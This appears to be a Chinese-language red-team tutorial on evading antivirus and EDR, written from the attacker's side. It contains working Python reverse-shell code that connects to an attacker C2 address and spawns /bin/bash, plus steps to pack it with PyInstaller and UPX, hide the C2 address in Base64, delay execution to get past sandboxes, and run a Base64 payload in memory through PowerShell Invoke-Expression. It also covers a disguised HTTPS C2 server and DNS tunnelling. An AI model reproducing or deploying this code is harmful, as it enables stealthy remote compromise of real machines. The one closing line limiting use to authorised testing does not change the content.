<pre><code class="language-markdown">## 一、免杀技术:从架构到对抗
在安全对抗的战场上,杀软和EDR(Endpoint Detection and Response)如同防御者的盾牌,而免杀技术则是红队手中的利刃。无论是恶意载荷的投递,还是远控木马的运行,绕过杀软和EDR的检测始终是攻击链中的关键环节。要达成免杀效果,首先必须理解杀软的核心工作机制,以及它们的检测技术架构。
现代杀软的大脑可以分为两部分:静态检测和动态分析。静态检测主要依赖特征库匹配,例如文件哈希、签名、字符串模式;而动态分析则更复杂,通过沙箱运行样本、行为监控等技术,判断程序是否具有恶意行为。因此,你的免杀策略需要从这两个方向入手:躲过特征匹配和伪装行为逻辑。
以下将从攻击者视角出发,逐步拆解免杀技术的“武器库”,并通过实战示例演示如何实现从代码构造到流量伪装的完整攻击链。
---
二、构造免杀的基础:信息收集与分析
要绕过一个目标的杀软或EDR,首先必须搞清楚它的运行逻辑和检测机制。在这里,我会介绍如何利用常见工具对杀软进行信息收集,并构造针对性的免杀策略。
1. 杀软检测模型分析
杀软通常会采用以下几种核心技术检测恶意行为:
- 签名匹配:对文件特定区域进行扫描,寻找已知恶意代码片段。
- 启发式分析:使用静态规则检测未知威胁,比如“过长的NOP指令”或“加壳代码”。
- 行为分析:通过监控进程行为,发现异常,比如调试器检测、内存注入等。
作为攻击者,静态检测需要通过加壳、混淆或修改代码特征来规避,而动态分析则需要伪装真实行为或引入干扰代码。
2. 信息收集:锁定目标环境
要构建针对性免杀工具,首先需要明确目标的防护软件及版本。以下是信息收集的基本流程:
- 检查杀软版本:通过操作系统“安全中心”或直接检查进程名称,比如
tasklist | findstr "Defender". - 分析杀软规则:部分高级杀软会暴露日志功能,通过日志可以看到它拦截样本的原因,比如行为异常或特定签名触发。
- 测试样本投递:向目标环境投递一个简单的载荷,观察是否被拦截,例如一个普通的 Meterpreter payload。
以下是一个用于测试目标是否运行 Windows Defender 的 PowerShell片段: </code></pre>powershell
检查 Defender 服务是否运行
Get-Service -Name WinDefend | Select-Object Status <pre><code> ---
三、Payload构造的艺术:静态免杀技术
静态免杀是绕过杀软特征库的一门艺术。它包括但不限于加壳、混淆、编码等技术。接下来,我会通过一个简单的例子展示如何构造免杀的恶意 Payload。
1. 加壳技术
加壳通常用于改变文件的二进制结构,使得杀软无法匹配已知签名。这里我们使用 PyInstaller 将一个普通的 Python恶意代码打包为免杀 EXE。
原始恶意代码:</code></pre>python
import os import socket
建立简单的TCP连接
def reverse_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.100", 4444)) # 修改为攻击者的C2地址 os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) import pty pty.spawn("/bin/bash")
reverse_shell() <pre><code>
使用 PyInstaller 加壳:</code></pre>bash
pyinstaller --onefile --noconsole reverse_shell.py <pre><code> 生成的 EXE文件可能会触发杀软的静态检测。要进一步免杀,可以使用 UPX重新压缩:</code></pre>bash upx --best reverse_shell.exe <pre><code>
2. 混淆代码
另一种常见的静态免杀方法是代码混淆,将恶意代码中的关键字符串和行为隐藏起来。例如使用 Base64 编码或加密的方式隐藏 IP地址:
混淆后的代码:</code></pre>python
import os import socket import base64
解码IP和端口
def decode_address(): encoded_ip = b'MTI3LjAuMC4x' # Base64编码后的地址:127.0.0.1 encoded_port = b'NDQ0NA==' # Base64编码后的端口:4444 return base64.b64decode(encoded_ip).decode(), int(base64.b64decode(encoded_port).decode())
建立连接
def reverse_shell(): ip, port = decode_address() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) import pty pty.spawn("/bin/bash")
reverse_shell() <pre><code> 通过混淆,可以隐藏关键特征,同时避免被静态特征库匹配。
---
四、动态免杀:行为伪装与加载技术
在绕过动态分析(如沙箱检测)时,伪装行为和使用内存技术尤为关键。以下是两种常见的动态免杀方式。
1. 延时启动
沙箱通常会在样本启动后的几秒内分析行为,攻击者可以通过延时启动绕过沙箱的时间窗口。以下是一个实现延时启动的示例: </code></pre>python import time import socket

延时启动,绕过沙箱分析窗口
time.sleep(30)
启动恶意行为
def reverse_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.100", 4444)) import pty pty.spawn("/bin/bash")
reverse_shell() <pre><code>
2. 内存加载技术
通过将恶意代码加载到内存中运行,可以避免硬盘落地检测。以下是一个基于 PowerShell 的内存加载示例: </code></pre>powershell
加载恶意代码到内存运行
$payload = "IyBIZWxsbyB3b3JsZCEK" # Base64编码的恶意代码 $decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) Invoke-Expression $decoded <pre><code> 这种方法可以有效绕过大部分杀软的文件监控功能。
---

五、流量伪装与C2对抗
除了载荷的免杀,流量是另一大重点。传统的 Meterpreter 或 Cobalt Strike 的 C2流量容易被杀软标记为恶意。以下是两种常见的流量伪装技术。
1. HTTPS加密流量
通过使用 HTTPS 协议,可以将恶意流量伪装为正常的网页访问流量。结合 Python 的 http.server模块,可以快速搭建一个伪装的C2服务器。
伪装C2代码:</code></pre>python
import http.server import ssl

server_address = ('', 443) httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile='server.pem', keyfile='server.key', ssl_version=ssl.PROTOCOL_TLS) httpd.serve_forever() <pre><code>
2. DNS隧道伪装
通过 DNS隧道技术,将 C2命令嵌入 DNS请求中,可以有效隐藏流量。以下是一个简单的 DNS隧道实现: </code></pre>python import dns.resolver
向伪装域名发送命令
def send_command(command): resolver = dns.resolver.Resolver() resolver.nameservers = ['192.168.1.100'] # 替换为攻击者的 DNS服务器 resolver.query(f"{command}.example.com", 'A')
send_command("download_payload") <pre><code> ---
六、检测与对抗:从免杀到反检测
虽然免杀技术可以绕过杀软和EDR,但防御者也在不断进步。以下是一些常见的检测方法,以及攻击者如何继续优化免杀策略。
1. 防御者的检测技术
- 内存扫描:通过扫描进程内存,发现可疑代码段。
- 流量分析:使用 AI模型分析流量中的异常模式。
- 行为关联:通过事件关联分析恶意行为链。
2. 攻击者的对抗技巧
- 加密内存对象:使用加密技术保护内存中的恶意代码。
- 动态域名:使用动态 DNS服务定期更换 C2域名。
- 行为分布:将恶意行为拆分成多个阶段,降低单次检测概率。
---
七、个人实战经验:免杀是一门对抗艺术
免杀技术不是一成不变的,攻击者和防御者之间的对抗始终在进化。作为红队成员,你必须不断研究杀软的更新机制,同时构造新的免杀策略。例如,针对特定杀软的 XDR功能,可以通过 API Hook技术干扰其检测逻辑。
最后提醒,每一项技术都应严格用于授权的安全测试,切勿非法使用。免杀不是目的,真正的艺术是理解对抗链的每一个环节。</code></pre>